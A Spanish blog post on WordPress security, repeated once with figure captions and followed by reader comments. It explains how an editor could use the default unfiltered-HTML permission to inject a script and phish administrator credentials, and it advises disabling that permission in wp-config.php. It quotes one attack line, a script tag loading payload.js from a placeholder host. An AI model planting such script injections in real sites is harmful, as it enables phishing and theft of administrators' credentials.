Cómo robarle las contraseñas a los Administradores de WordPress con XSS haciendo Phishing con Unfiltered HTML
Hace unos días atrás, Juan Manuel Fernández (@TheXC3LL) un amigo del blog, se puso en contacto para contarme una curiosidad que si eres el administrador de un WordPress debes tener presente. Se trata de una configuración por defecto que permite a los administradores y a los editores - y este es el punto importante - inyectar Unfiltered HTML, o lo que es lo mismo. Todo usuario que sea Editor puede incrustar un código Script en cualquier parte de los artículos que esté proponiendo para publicación.
Esto no es ningún fallo de seguridad, sino como bien dicen en las FAQ de Seguridad de WordPress, es una característica que debe estar para que los editores puedan crear el contenido web que deseen, que para algo WordPress se basa en tecnologías web con el objeto de publicar artículos enriquecidos con todo lo que permiten hoy en día.
Sin embargo, dentro de todas las recomendaciones que os di para Mejorar la Seguridad de WordPress habría que tener también en cuenta esto, ya que cualquier Editor podría inyectar un código JavaScript en distintos puntos y con un un simple "<script src="http://server.xxx/payload.js"></script>" se consigue la ejecución de código en el Dashboard del Admin. Esto podría ser porque el Editor fuera el atacante, o porque previamente un atacante se hubiera hecho con la password de un Editor para luego atacar al Admin, algo similar a como le pasó a Zone-H en el año 2007.
Esta característica podría ser ejecutada por un Editor malicioso para ejecutar código para hacer un Phishing y robar las credenciales del administrador mediante un engaño. Así, por ejemplo, el contenido de Payload.js podría ser un código mucho mas elaborado que hiciera que saliera la misma ventana de Login ocultando todo el dashboard, y aprovechándose de los administradores menos duchos en seguridad.
No solo eso, puestos a robar contraseñas, se podría meter un código script más elaborado que hiciera tabnabbing buscando hacer phishing a otros servicios que el Admin pudiera tener abiertos, como por ejemplo Gmail. Por supuesto, aunque las cookies de sesión de WordPress sean HTTP-Only, podrían aparecer escenarios en los que fuera posible robarlas, ya que los bugs para encontrar formas de robar cookies HTTP-Only siguen apareciendo y hacer un session hijacking seguiría siendo una posibilidad. Pero al final, lo más peligroso es que cualquier Editor malicioso podría cargar un exploit client-side para obtener una shell de la máquina del Admin, con una vulnerabilidad como el 0day de Internet Explorer que anda circulando o como los exploits de Metasploit para versiones vulnerables de Safari u otros navegadores.
Si gestionas un WordPress, tal vez te convenga tener en cuenta que dentro de wp-config.php se puede deshabilitar esta característica, sobre todo si tienes un numero alto de Editores, añadiendo la línea de configuración define( 'DISALLOW_UNFILTERED_HTML', true ); Anótate esta característica, junto al resto de las recomendadas en el artículo de Fortificar WordPress.
Por supuesto, si quieres evitar que alguien utilice tu contraseña de Admin de WordPress si en algún momento consiguiera robártela, lo mejor es pongas el plugin de Latch para WordPress, así si algún Editor malicioso hiciera un Phishing para robar tu password, tú te enterarías al instante con una alerta de Latch. En el Canal SlideShare de Eleven Paths tienes todos los manuales de instalación de Lath en frameworks de Internet.
Saludos Malignos!
Esto no es ningún fallo de seguridad, sino como bien dicen en las FAQ de Seguridad de WordPress, es una característica que debe estar para que los editores puedan crear el contenido web que deseen, que para algo WordPress se basa en tecnologías web con el objeto de publicar artículos enriquecidos con todo lo que permiten hoy en día.
Figura 1: Explicación de WordPress sobre el asunto de Unfiltered HTML |
Sin embargo, dentro de todas las recomendaciones que os di para Mejorar la Seguridad de WordPress habría que tener también en cuenta esto, ya que cualquier Editor podría inyectar un código JavaScript en distintos puntos y con un un simple "<script src="http://server.xxx/payload.js"></script>" se consigue la ejecución de código en el Dashboard del Admin. Esto podría ser porque el Editor fuera el atacante, o porque previamente un atacante se hubiera hecho con la password de un Editor para luego atacar al Admin, algo similar a como le pasó a Zone-H en el año 2007.
Figura 2: Código Script ejecutado en el dashborad del Admin inyectado por un Editor |
Esta característica podría ser ejecutada por un Editor malicioso para ejecutar código para hacer un Phishing y robar las credenciales del administrador mediante un engaño. Así, por ejemplo, el contenido de Payload.js podría ser un código mucho mas elaborado que hiciera que saliera la misma ventana de Login ocultando todo el dashboard, y aprovechándose de los administradores menos duchos en seguridad.
Figura 3: Un Phishing hecho con Payload.js inyectado en el Dashboard del Admin |
No solo eso, puestos a robar contraseñas, se podría meter un código script más elaborado que hiciera tabnabbing buscando hacer phishing a otros servicios que el Admin pudiera tener abiertos, como por ejemplo Gmail. Por supuesto, aunque las cookies de sesión de WordPress sean HTTP-Only, podrían aparecer escenarios en los que fuera posible robarlas, ya que los bugs para encontrar formas de robar cookies HTTP-Only siguen apareciendo y hacer un session hijacking seguiría siendo una posibilidad. Pero al final, lo más peligroso es que cualquier Editor malicioso podría cargar un exploit client-side para obtener una shell de la máquina del Admin, con una vulnerabilidad como el 0day de Internet Explorer que anda circulando o como los exploits de Metasploit para versiones vulnerables de Safari u otros navegadores.
Si gestionas un WordPress, tal vez te convenga tener en cuenta que dentro de wp-config.php se puede deshabilitar esta característica, sobre todo si tienes un numero alto de Editores, añadiendo la línea de configuración define( 'DISALLOW_UNFILTERED_HTML', true ); Anótate esta característica, junto al resto de las recomendadas en el artículo de Fortificar WordPress.
Figura 4: Cómo poner un Plugin de Latch en WordPress |
Por supuesto, si quieres evitar que alguien utilice tu contraseña de Admin de WordPress si en algún momento consiguiera robártela, lo mejor es pongas el plugin de Latch para WordPress, así si algún Editor malicioso hiciera un Phishing para robar tu password, tú te enterarías al instante con una alerta de Latch. En el Canal SlideShare de Eleven Paths tienes todos los manuales de instalación de Lath en frameworks de Internet.
Saludos Malignos!
3 comentarios:
Muy interesante! Trabajo con varios CMS, entre ellos Wordpress, y no sabía de este fallo. Gracias Maligno!
Excelente post! yo los invito a que se den una vuelta por un proyecto con el que estoy desde hace un tiempo llamado WPHardening (https://github.com/elcodigok/wphardening) que seguro puede colaborar a la hora de fortificar los WordPress.
Saludos
Bueno creo que es momento de tomar las medidas correspondientes para evitar se victima
Publicar un comentario